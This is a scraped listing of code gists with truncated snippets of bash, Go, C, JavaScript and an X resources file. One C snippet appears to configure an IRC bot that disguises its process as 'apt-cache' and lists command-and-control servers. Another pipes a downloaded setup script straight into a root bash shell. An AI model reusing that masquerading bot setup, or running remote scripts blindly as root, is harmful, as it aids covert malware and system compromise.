Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
exename=$(basename $0) | |
function show_help () { | |
echo "$exename: cat changed files since a specific commit" | |
echo "call it like this: $exename develop" | |
echo "where develop is the original branch" | |
echo "it will cat all the changed elixir files" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"io" | |
"net/http" | |
"net/url" | |
"slices" | |
"strings" | |
"sync" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# @credit :: http://redsymbol.net/articles/unofficial-bash-strict-mode/ | |
## -e :: instructs bash to immediately exit if any command has a non-zero exit status. | |
## -u :: a reference to any variable you haven't previously defined is an error, and causes the program to immediately exit | |
## -o pipefail :: If any command in a pipeline fails, that return code will be used as the return code of the whole pipeline | |
## IFS :: IFS stands for Internal Field Separator - controls what Bash calls word splitting | |
set -euo pipefail | |
IFS=$'\n\t' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## @from: https://stackoverflow.com/questions/59895/getting-the-source-directory-of-a-bash-script-from-within | |
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null && pwd )" | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define STARTUP 1 | |
#undef IDENT // Only enable this if you absolutely have to | |
#define FAKENAME "apt-cache" // What you want this to hide as | |
#define CHAN "#mint" // Channel to join | |
#define KEY "bleh" // The key of the channel | |
int numservers=5; // Must change this to equal number of servers down there | |
char *servers[] = { | |
"updates.absentvodka.com", | |
"updates.mintylinux.com", | |
"eggstrawdinarry.mylittlerepo.com", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# become root | |
sudo -i | |
# remove old node | |
yum remove -y nodejs | |
# remove old node source | |
rm -f /etc/yum.repos.d/nodesource-el* | |
# clean up | |
yum clean all && yum update -y | |
# install the new RPM | |
curl --silent --location https://rpm.nodesource.com/setup_7.x | bash - |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Verifying my Blockstack ID is secured with the address 1CDeirtRPVXE57XnPZJ7pqSkZZBNo6x4aw https://explorer.blockstack.org/address/1CDeirtRPVXE57XnPZJ7pqSkZZBNo6x4aw |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class First { | |
constructor() { | |
this.loc = '1'; | |
} | |
test() { | |
console.log('first', this.loc); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!------------------------------------------------------------------------------- | |
! Xft settings | |
!------------------------------------------------------------------------------- | |
Xft.dpi: 96 | |
Xft.antialias: false | |
Xft.rgba: rgb | |
Xft.hinting: true | |
Xft.hintstyle: hintslight |
NewerOlder